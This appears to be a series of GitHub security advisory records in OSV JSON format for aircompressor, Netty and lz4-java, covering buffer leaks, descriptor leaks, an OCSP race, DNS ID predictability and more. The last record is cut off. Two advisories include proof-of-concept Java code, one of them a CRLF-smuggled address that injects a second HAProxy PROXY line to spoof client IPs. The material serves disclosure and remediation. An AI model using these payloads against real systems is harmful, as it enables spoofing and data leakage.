{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.airlift:aircompressor-v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.airlift:aircompressor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-12T22:12:22Z",
    "nvd_published_at": "2025-12-12T23:15:42Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nIncorrect handling of malformed data in Java-based decompressor implementations for Snappy and LZ4 allows remote attackers to read previous buffer contents via crafted compressed input. In applications where the output buffer is reused without being cleared, this may lead to disclosure of sensitive data.\n\n### Details\nWith certain crafted compressed inputs, elements from the output buffer can end up in the uncompressed output. This is relevant for applications that reuse the same output buffer to uncompress multiple inputs. This can be the case of a web server that allocates a fix-sized buffer for performance purposes. This is similar to [GHSA-cmp6-m4wj-q63q](https://github.com/yawkat/lz4-java/security/advisories/GHSA-cmp6-m4wj-q63q).\n\n### Impact\nApplications using aircompressor as described above may leak sensitive information to external unauthorized attackers.\n\n### Mitigation\n\nThe vulnerability is fixed in release 3.4 and 2.0.3. However, it can be mitigated by either:\n* Avoiding reuse of the decompression buffer across calls\n* Clearing the decompression buffer before a call to decompress data",
  "id": "GHSA-vx9q-rhv9-3jvg",
  "modified": "2026-02-25T15:32:27Z",
  "published": "2025-12-12T22:12:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/airlift/aircompressor/security/advisories/GHSA-vx9q-rhv9-3jvg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67721"
    },
    {
      "type": "WEB",
      "url": "https://github.com/airlift/aircompressor/pull/309"
    },
    {
      "type": "WEB",
      "url": "https://github.com/airlift/aircompressor/commit/f2b489b398779b40c1ee29ddb11d7edef54ddc15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/airlift/aircompressor/commit/ff12c4d5757c9d6d1de3d39a10402f1f84f9b765"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/airlift/aircompressor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/airlift/aircompressor/releases/tag/2.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "aircompressor Snappy and LZ4 Java-based decompressor implementation can leak information from reused output buffer"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-transport-native-epoll"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-transport-native-kqueue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-transport-native-kqueue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-transport-native-epoll"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45536"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T23:01:33Z",
    "nvd_published_at": "2026-06-12T15:16:27Z",
    "severity": "MODERATE"
  },
  "details": "netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) \u2014 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg-\u003ecmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking \u2192 EAGAIN \u2192 Java maps to 0 \u2192 read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default).",
  "id": "GHSA-w573-9ffj-6ff9",
  "modified": "2026-06-12T19:29:26Z",
  "published": "2026-06-08T23:01:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-w573-9ffj-6ff9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45536"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: Unix-socket fd receive leaks descriptors when peer sends two at once"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-ssl-ocsp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-ssl-ocsp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56822"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:47:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nNetty\u0027s OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client\u0027s downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.\n\n### Details\nIn `io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered`, when an `SslHandshakeCompletionEvent` is received, the validator immediately calls `ctx.fireUserEventTriggered(evt)`. It then initiates an asynchronous OCSP query using `OcspClient.query`.\n\nBecause the handshake completion event is forwarded immediately, downstream handlers in the client\u0027s pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server\u0027s certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.\n\n### PoC\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n            OCSPRespBuilder respBuilder = new OCSPRespBuilder();\n            OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);\n            byte[] responseEncoded = response.getEncoded();\n\n            IoTransport mockTransport = IoTransport.create(group.next(), () -\u003e {\n                NioSocketChannel channel = new NioSocketChannel();\n                channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {\n                    @Override\n                    public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {\n                        promise.setSuccess();\n\n                        ctx.executor().schedule(() -\u003e {\n                            ctx.pipeline().fireChannelActive();\n\n                            DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(\n                                    HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));\n                            httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, \"application/ocsp-response\");\n                            httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());\n\n                            ctx.pipeline().fireChannelRead(httpResponse);\n                        }, 500, TimeUnit.MILLISECONDS);\n                    }\n                });\n                return channel;\n            }, NioDatagramChannel::new);\n\n            X509Bundle caRoot = new CertificateBuilder()\n                    .algorithm(CertificateBuilder.Algorithm.rsa2048)\n                    .subject(\"CN=TrustedRootCA\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, \"http://localhost/\");\n            AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));\n            X509Bundle targetCert = new CertificateBuilder()\n                    .algorithm(CertificateBuilder.Algorithm.rsa2048)\n                    .subject(\"CN=TargetServer\")\n                    .addExtensionOctetString(\"1.3.6.1.5.5.7.1.1\", false, aia.getEncoded())\n                    .buildIssuedBy(caRoot);\n\n            SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();\n\n            CopyOnWriteArrayList\u003cString\u003e receivedData = new CopyOnWriteArrayList\u003c\u003e();\n            CountDownLatch dataReceivedLatch = new CountDownLatch(1);\n\n            new ServerBootstrap()\n                    .group(group)\n                    .channel(NioServerSocketChannel.class)\n                    .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));\n                            ch.pipeline().addLast(new SimpleChannelInboundHandler\u003cByteBuf\u003e() {\n                                @Override\n                                protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {\n                                    receivedData.add(msg.toString(CharsetUtil.UTF_8));\n                                    dataReceivedLatch.countDown();\n                                }\n                            });\n                        }\n                    })\n                    .bind(8080)\n                    .sync()\n                    .channel();\n\n            SslContext clientSslCtx = SslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .build();\n\n            DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);\n            Channel clientChannel = new Bootstrap()\n                    .group(group)\n                    .channel(NioSocketChannel.class)\n                    .handler(new ChannelInitializer\u003cSocketChannel\u003e() {\n                        @Override\n                        protected void initChannel(SocketChannel ch) {\n                            ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), \"127.0.0.1\", 8080));\n                            ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));\n                            ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {\n                                @Override\n                                public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {\n                                    if (evt instanceof SslHandshakeCompletionEvent) {\n                                        SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;\n                                        if (sslEvent.isSuccess()) {\n                                            ctx.writeAndFlush(Unpooled.copiedBuffer(\"SECRET_DATA\", CharsetUtil.UTF_8));\n                                        }\n                                    }\n                                    ctx.fireUserEventTriggered(evt);\n                                }\n                            });\n                        }\n                    })\n                    .connect(\"127.0.0.1\", 8080)\n                    .sync()\n                    .channel();\n\n            assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));\n\n            Thread.sleep(200);\n\n            assertFalse(receivedData.contains(\"SECRET_DATA\"), \"Server should not receive the data.\");\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nTOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.",
  "id": "GHSA-wc96-39fc-566f",
  "modified": "2026-07-22T21:47:41Z",
  "published": "2026-07-22T21:47:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: TOCTOU in OcspServerCertificateValidator"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-haproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-haproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:51:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-haproxy) |\n| **Component** | `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences |\n| **Impact** | HAProxy PROXY Protocol Injection / Client IP Spoofing |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` \u2014 `encodeV1()` method (lines 63-77): writes `sourceAddress` and `destinationAddress` directly to output without CRLF validation\n- `io.netty.handler.codec.haproxy.HAProxyMessage` \u2014 constructor `checkAddress()` validates IPv4/IPv6 format but **only checks length for AF_UNIX** (line 439)\n\n## 3. Vulnerability Description\n\nNetty\u0027s HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format **without validating for CRLF characters**. The V1 protocol uses CRLF (`\\r\\n`) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.\n\n### Root Cause \u2014 Encoder\n\n```java\n// HAProxyMessageEncoder.java:63-77\nprivate static void encodeV1(HAProxyMessage msg, ByteBuf out) {\n    out.writeBytes(TEXT_PREFIX);                                    // \"PROXY \"\n    out.writeByte((byte) \u0027 \u0027);\n    out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // \"UNIX_STREAM\"\n    out.writeByte((byte) \u0027 \u0027);\n    out.writeCharSequence(msg.sourceAddress(), US_ASCII);           // \u003c-- NO CRLF CHECK\n    out.writeByte((byte) \u0027 \u0027);\n    out.writeCharSequence(msg.destinationAddress(), US_ASCII);      // \u003c-- NO CRLF CHECK\n    out.writeByte((byte) \u0027 \u0027);\n    // ...\n    out.writeByte((byte) \u0027\\r\u0027);\n    out.writeByte((byte) \u0027\\n\u0027);\n}\n```\n\n### Root Cause \u2014 Insufficient Address Validation\n\n```java\n// HAProxyMessage.java:428-442\nprivate static void checkAddress(String address, AddressFamily addrFamily) {\n    switch (addrFamily) {\n        case AF_UNIX:\n            ObjectUtil.checkNotNull(address, \"address\");\n            if (address.getBytes(CharsetUtil.US_ASCII).length \u003e 108) {\n                throw new IllegalArgumentException(\"invalid AF_UNIX address: \" + address);\n            }\n            return;  // ONLY checks length \u003c= 108, NO CRLF validation!\n        case AF_IPv4:\n            if (!NetUtil.isValidIpV4Address(address)) { ... }  // Format check blocks CRLF\n        case AF_IPv6:\n            if (!NetUtil.isValidIpV6Address(address)) { ... }  // Format check blocks CRLF\n    }\n}\n```\n\nIPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But **AF_UNIX addresses only check `length \u003c= 108`** \u2014 any characters including CRLF are accepted.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses Netty\u0027s `HAProxyMessageEncoder` to construct HAProxy V1 protocol headers\n2. AF_UNIX (`UNIX_STREAM` or `UNIX_DGRAM`) addresses contain user-controlled input\n3. The encoded PROXY header is sent to a downstream server or load balancer\n\n**Affected use cases**:\n- PROXY protocol relays that construct AF_UNIX messages from upstream data\n- Load balancer integrations where socket paths come from configuration or external sources\n- Multi-tenant proxies that dynamically construct PROXY headers\n\n## 5. Attack Scenario\n\n### Client IP Spoofing via Second PROXY Line Injection\n\n```java\nString maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n\nHAProxyMessage msg = new HAProxyMessage(\n    HAProxyProtocolVersion.V1,\n    HAProxyCommand.PROXY,\n    HAProxyProxiedProtocol.UNIX_STREAM,\n    maliciousAddr,                    // CRLF-injected source address\n    \"/var/run/dest.sock\",\n    0, 0);\n```\n\n**Wire format sent to backend**:\n```\nPROXY UNIX_STREAM /var/run/app.sock\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\n```\n\nThe backend receives **two PROXY lines**. Depending on implementation:\n- HAProxy: may use the first line and ignore the second\n- Other implementations: may use the **second** line, treating the connection as TCP4 from `10.0.0.1`\n- This enables **client IP spoofing** \u2014 the backend believes the client is `10.0.0.1` when it\u0027s not\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.haproxy.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HAProxyUnixCRLFPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\\n\");\n\n        String maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n        String destAddr = \"/var/run/dest.sock\";\n\n        HAProxyMessage msg = new HAProxyMessage(\n            HAProxyProtocolVersion.V1,\n            HAProxyCommand.PROXY,\n            HAProxyProxiedProtocol.UNIX_STREAM,\n            maliciousAddr, destAddr, 0, 0);\n\n        EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);\n        ch.writeOutbound(msg);\n\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n\n        int proxyCount = 0;\n        for (String line : encoded.split(\"\\r\\n\")) {\n            if (line.startsWith(\"PROXY\")) proxyCount++;\n        }\n        System.out.println(\"PROXY lines: \" + proxyCount);\n        System.out.println(\"VULNERABLE: \" + (proxyCount \u003e 1 ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\njavac -cp \"$JARS\" HAProxyUnixCRLFPoC.java\njava -cp \"$JARS:.\" HAProxyUnixCRLFPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n\n[TEST 1] AF_UNIX Source Address CRLF Injection\n------------------------------------------------\n  Source address: \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\"\n  Wire format:\n    PROXY UNIX_STREAM /var/run/app.sock\\r\n    PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\\r\n\n  PROXY lines found: 2\n  VULNERABLE: YES - Second PROXY line injected!\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Validate AF_UNIX Addresses for CRLF\n\n```java\n// HAProxyMessage.java checkAddress() - add for AF_UNIX:\ncase AF_UNIX:\n    ObjectUtil.checkNotNull(address, \"address\");\n    byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);\n    if (addrBytes.length \u003e 108) {\n        throw new IllegalArgumentException(\"invalid AF_UNIX address: too long\");\n    }\n    for (byte b : addrBytes) {\n        if (b == \u0027\\r\u0027 || b == \u0027\\n\u0027) {\n            throw new IllegalArgumentException(\n                \"AF_UNIX address contains prohibited CRLF character\");\n        }\n    }\n    return;\n```\n\n### Option 2: Validate in Encoder\n\n```java\n// HAProxyMessageEncoder.java encodeV1() - validate before writing:\nprivate static void validateV1Address(String address) {\n    for (int i = 0; i \u003c address.length(); i++) {\n        char c = address.charAt(i);\n        if (c == \u0027\\r\u0027 || c == \u0027\\n\u0027 || c == \u0027 \u0027) {\n            throw new HAProxyProtocolException(\n                \"V1 address contains prohibited character at index \" + i);\n        }\n    }\n}\n```\n\n## 8. References\n\n- [HAProxy PROXY Protocol v1 Specification](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
  "id": "GHSA-wh89-7897-x99h",
  "modified": "2026-07-22T21:51:40Z",
  "published": "2026-07-22T21:51:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T23:01:04Z",
    "nvd_published_at": "2026-06-12T15:16:26Z",
    "severity": "HIGH"
  },
  "details": "SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard at line 140 is `handshakeLength \u003e maxClientHelloLength \u0026\u0026 maxClientHelloLength != 0`, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes.",
  "id": "GHSA-x4gw-5cx5-pgmh",
  "modified": "2026-06-12T19:29:22Z",
  "published": "2026-06-08T23:01:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-x4gw-5cx5-pgmh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45416"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: SNI handler pre-allocates up to 16 MiB from nine attacker bytes"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-resolver-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-resolver-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-330",
      "CWE-340"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T23:02:05Z",
    "nvd_published_at": "2026-06-12T15:16:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty\u0027s DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack).\n\n### Details\nTwo factors contribute to this vulnerability in io.netty.resolver.dns:\n- Predictable Query IDs: `DnsQueryIdSpace` manages 16-bit transaction IDs in buckets of 16,384 IDs. It initializes only the first bucket. When an ID is returned, it is pushed back into the bucket at a random index generated by java.util.concurrent.ThreadLocalRandom:\n\n```java\nRandom random = ThreadLocalRandom.current();\nint insertionPosition = random.nextInt(count + 1);\n```\n\nBecause ThreadLocalRandom is a predictable LCG and the resolver operates within a single bucket, the sequence of IDs is predictable once the PRNG state is mathematically recovered.\n\n- Default Static Source Port: `DnsNameResolverBuilder` defaults to a `channelStrategy` of `ChannelPerResolver`. This binds the DatagramChannel once, resulting in a static source port for all subsequent queries.\n\nCombined, a static source port and predictable transaction IDs reduces the entropy required to secure DNS resolution against spoofing.\n\n### Impact\nDNS Cache Poisoning. Downstream applications using the default Netty DNS resolver may connect to malicious IPs, leading to traffic interception or MitM attacks.",
  "id": "GHSA-xmv7-r254-6q78",
  "modified": "2026-06-12T19:29:30Z",
  "published": "2026-06-08T23:02:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-xmv7-r254-6q78"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45673"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: DNS Cache Poisoning due to Predictable PRNG and Default Static Source Port"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.11.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "at.yawk.lz4:lz4-java"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.lz4:lz4-java"
      },
      "ranges": [
        {
          "events": [
